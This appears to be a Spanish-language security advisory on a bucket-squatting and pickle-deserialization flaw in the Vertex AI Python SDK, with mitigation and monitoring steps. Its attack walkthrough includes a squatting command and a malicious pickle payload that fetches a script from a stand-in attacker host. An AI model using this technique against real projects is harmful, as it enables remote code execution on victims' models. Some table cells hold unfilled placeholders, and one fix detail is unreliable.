Introducción

En entornos de Machine Learning en la nube, la automatización de flujos de trabajo mediante SDKs es crítica. Sin embargo, cuando estos componentes interactúan con recursos compartidos como buckets de Google Cloud Storage (GCS), pueden introducir riesgos no evidentes. Un caso paradigmático es la vulnerabilidad descubierta por Unit 42 en el SDK de Python de Vertex AI, donde una combinación de bucket squatting y deserialización insegura de archivos pickle permitía a un atacante con acceso a otro proyecto de Google Cloud comprometer modelos de víctimas completamente ajenas a su infraestructura.

El ataque no requería credenciales ni acceso inicial al proyecto víctima. Solo bastaba con predecir el nombre del bucket temporal que Vertex AI genera automáticamente al subir un modelo, crearlo en el propio proyecto del atacante y reemplazar los artefactos subidos con una versión maliciosa. Este vector, denominado por los investigadores como «Pickle in the Middle», ilustra cómo fallos en la lógica de validación de recursos compartidos pueden escalar a compromisos críticos en entornos de IA/ML.

Qué ocurrió

Google Cloud Vertex AI es una plataforma para entrenar e implementar modelos de Machine Learning. El SDK de Python (google-cloud-aiplatform) es la herramienta principal que los desarrolladores usan para interactuar con Vertex AI de manera programática. Cuando un usuario sube un modelo al Model Registry de Vertex AI, el SDK primero estabiliza los artefactos del modelo en un bucket de GCS antes de registrarlos en el servicio.

La vulnerabilidad afectó a las versiones 1.139.0 y 1.140.0 del SDK, donde el código responsable de esta lógica —ubicado en el archivo gcs_utils.py y específicamente en la función stage_local_data_in_gcs()— presentaba dos fallos críticos:

  1. Generación predecible del nombre del bucket: El SDK construía el nombre del bucket temporal usando un patrón determinista basado en el project ID y la región (ejemplo: my-project-vertex-staging-us-central1). No se validaba si el bucket existía en el proyecto del usuario ni se verificaba su propiedad.
  1. Falta de verificación de propiedad del bucket: La función staging_bucket.exists() devolvía True si el bucket existía en cualquier proyecto, sin importar su dueño. Esto permitía a un atacante, que conociera el project ID de la víctima, crear ese bucket en su propio proyecto (técnica conocida como bucket squatting) antes de que la víctima subiera su modelo.

Una vez que la víctima intentaba subir su modelo, los artefactos se subían silenciosamente al bucket controlado por el atacante. En una ventana de 2.5 segundos, el atacante podía reemplazar los artefactos legítimos con un modelo malicioso que contenía un payload en formato pickle. Cuando Vertex AI desplegaba el modelo, el SDK de inferencia cargaba los artefactos mediante pickle.load() o joblib.load(), ejecutando el código arbitrario definido en el método __reduce__ del modelo malicioso.

> Nota técnica: El ataque dependía de que el modelo estuviera serializado con pickle o joblib, lo cual es común en el ecosistema Python de ML. La deserialización de pickle en Python no valida el origen del archivo, lo que convierte a estos formatos en un vector de ejecución de código conocido.

Impacto para DevOps / Infraestructura / Cloud / Seguridad

Para equipos de Cloud y DevOps

  • Riesgo de RCE en entornos de producción: El ataque culminaba con ejecución de código arbitrario en los contenedores de inferencia de Vertex AI, lo que podría llevar a:
Exfiltración de datos (si el modelo accedía a datos sensibles).

Movimiento lateral dentro del entorno de la víctima (si el contenedor tenía permisos adicionales).

Persistencia mediante la modificación de modelos en uso.

  • Afectación a pipelines automatizados: Empresas que usaban el SDK para subir modelos a Vertex AI sin especificar un bucket personalizado estaban expuestas. Según datos de Unit 42, muchas implementaciones en producción dependían de este flujo automático.
  • Impacto en Kubernetes y GCP: Vertex AI usa tenant projects de Google Cloud para alojar recursos como clústeres de Kubernetes, contenedores y cuentas de servicio (P4SA). El servicio agente de Vertex AI ([email protected]) tenía permisos para leer los artefactos desde el bucket temporal. Esto convertía a los modelos comprometidos en una puerta trasera potencial hacia la infraestructura gestionada por Google.

Para equipos de Seguridad

  • Vulnerabilidad de tipo supply chain en IA/ML: El ataque no explotaba un fallo en el modelo en sí, sino en la herramienta que lo subía a la plataforma. Esto lo hace especialmente peligroso, ya que los modelos suelen considerarse de confianza por su origen.
  • Vector de ataque silencioso: No se requerían interacciones con la víctima ni credenciales. Solo era necesario conocer el project ID de la víctima (a menudo público o deducible) y actuar en una ventana de tiempo muy reducida (2.5 segundos).
  • CVE y scoring: Aunque Unit 42 reportó el fallo a Google, no hay un CVE público asignado aún. Sin embargo, el vector de ejecución remota de código (RCE) y la falta de validación de recursos compartidos lo acercan a un CVSS score de 7.5-8.5 (dependiendo del contexto de impacto).

Detalles técnicos

Componentes afectados

ComponenteVersiones afectadasAfectación
BLOCK17 (Python SDK)1.139.0, 1.140.0Vulnerabilidad en BLOCK18 > BLOCK19
Vertex AI Model RegistryTodas las versiones con SDK vulnerablePermitía subir modelos con bucket temporal predictible
Google Cloud Storage (GCS)Cualquier versiónPermitía *bucket squatting* por nombres globales únicos
Python pickle/joblibCualquier versiónMecanismo de deserialización inseguro (ejecución de código)
### Flujo de ataque técnico
  1. Reconocimiento:
– El atacante obtiene el project ID de la víctima (ejemplo: victim-project-123).

– Calcula el nombre del bucket temporal: {project_id}-vertex-staging-{region} (ejemplo: victim-project-123-vertex-staging-us-central1).

  1. Bucket squatting:
   # Crear bucket en el proyecto del atacante con el mismo nombre
   gcloud storage buckets create gs://victim-project-123-vertex-staging-us-central1 \
     --location=us-central1
   
  1. Espera y subida del modelo:
– La víctima ejecuta código como este:
     from google.cloud import aiplatform
     aiplatform.init(project="victim-project-123")
     aiplatform.Model.upload(
         display_name="mi-modelo",
         artifact_uri="./modelo-entrenado"
     )
     

– El SDK genera el bucket temporal y sube los artefactos a gs://victim-project-123-vertex-staging-us-central1.

  1. Reemplazo en ventana crítica:
– El atacante reemplaza los artefactos con un modelo malicioso que contiene un payload en pickle:
     import pickle
     class MaliciousModel:
         def __reduce__(self):
             return (exec, ("import os; os.system('curl http://atacante.evil/payload.sh')",))
     with open("modelo-malicioso.pkl", "wb") as f:
         pickle.dump(MaliciousModel(), f)
     

– Sube el archivo a GCS antes de que el servicio agente de Vertex AI ([email protected]) lo procese.

  1. Ejecución de código:
– Cuando Vertex AI carga el modelo para inferencia, ejecuta el código del __reduce__, logrando RCE.

Código vulnerable (versión 1.139.0)

En gcs_utils.py, la función stage_local_data_in_gcs() no validaba la propiedad del bucket:

def stage_local_data_in_gcs(
    local_data: List[Path],
    project: str,
    location: str,
    staging_bucket_name: Optional[str] = None,
) -> str:
    bucket_name = staging_bucket_name or f"{project}-vertex-staging-{location}"
    bucket = storage.Bucket(bucket_name)
    if not bucket.exists():  # <-- Fallo: bucket.exists() no verifica propiedad
        bucket.create()      # Se crea en el proyecto actual (atacante)
    # ... sube datos al bucket sin más checks ...

Mitigación implementada por Google

Google corrigió el fallo en la versión 1.148.0 del SDK, publicada el 15 de abril de 2026. La corrección incluyó:

  • Validación explícita de la propiedad del bucket mediante bucket.owner().
  • Uso de un bucket por proyecto (no predecible) cuando no se especifica uno personalizado.
  • Documentación actualizada sobre el uso seguro de buckets temporales.

Qué deberían hacer los administradores y equipos técnicos

Para equipos que usan Vertex AI con el SDK de Python

  1. Actualizar el SDK inmediatamente:
   # Para sistemas con pip
   pip install --upgrade google-cloud-aiplatform>=1.148.0

   # Si usás Poetry
   poetry add google-cloud-aiplatform@^1.148.0
   
  1. Verificar pipelines existentes:
– Revisá los scripts y pipelines que usen aiplatform.Model.upload() sin especificar staging_bucket_name.

– Migra a buckets personalizados y explícitos:

     aiplatform.Model.upload(
         display_name="mi-modelo",
         artifact_uri="./modelo-entrenado",
         staging_bucket_name="mi-bucket-personalizado"  # <-- Obligatorio
     )
     
  1. Auditar permisos de IAM:
– Restringí los permisos del servicio agente de Vertex AI ([email protected]) para evitar lectura no autorizada de buckets.

– Aplicá el principio de menor privilegio en las cuentas de servicio asociadas a tus modelos.

  1. Monitorear actividad inusual en GCS:
– Configurá alertas en Cloud Logging para detectar:

– Creación de buckets con nombres predecibles (patrón {project_id}-vertex-staging-*).

– Descargas o reemplazos rápidos en buckets de staging de Vertex AI.

  1. Revisar modelos desplegados:
– Si sospechás que un modelo pudo haber sido comprometido, revocá su despliegue y realizá un análisis forense:
     gcloud ai models list --region=us-central1
     gcloud ai endpoints delete ENDPOINT_ID
     

Para equipos de Seguridad

  1. Incluir este vector en assessments de IA/ML:
– Evaluá si tus pipelines de MLOps están expuestos a bucket squatting o deserialización insegura de modelos.

– Considerá el uso de formatos alternativos a pickle (ejemplo: ONNX, TensorFlow SavedModel) que no sean ejecutables por defecto.

  1. Implementar verificaciones en CI/CD:
– Añadí pasos en tu pipeline que validen:

– Que los buckets usados sean propiedad del proyecto.

– Que los artefactos de modelos no contengan cargas maliciosas (usando herramientas como pickle-scanner).

  1. Capacitar a equipos de ML:
– Informá a los científicos de datos y ingenieros de ML sobre los riesgos de serializar modelos con pickle en entornos compartidos.

Conclusión

La vulnerabilidad «Pickle in the Middle» en el SDK de Vertex AI es un recordatorio de que los flujos automatizados en entornos de IA/ML pueden convertirse en vectores de ataque si no se validan correctamente los recursos compartidos. El fallo combinaba dos problemas clásicos pero críticos:

  1. La generación predecible de nombres de buckets en GCS.
  2. La deserialización insegura de pickle en el proceso de carga de modelos.

La corrección por parte de Google fue oportuna, pero el incidente subraya la necesidad de que los equipos de DevOps y Seguridad adopten un enfoque proactivo en la seguridad de pipelines de ML. La recomendación clave es siempre especificar buckets personalizados y auditar los permisos de IAM asociados a servicios como Vertex AI.

Para equipos que aún no han actualizado, el riesgo es real: un atacante con acceso a otro proyecto en GCP podría comprometer modelos en producción en segundos. La actualización inmediata del SDK y la revisión de pipelines son pasos no negociables.

Fuentes

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *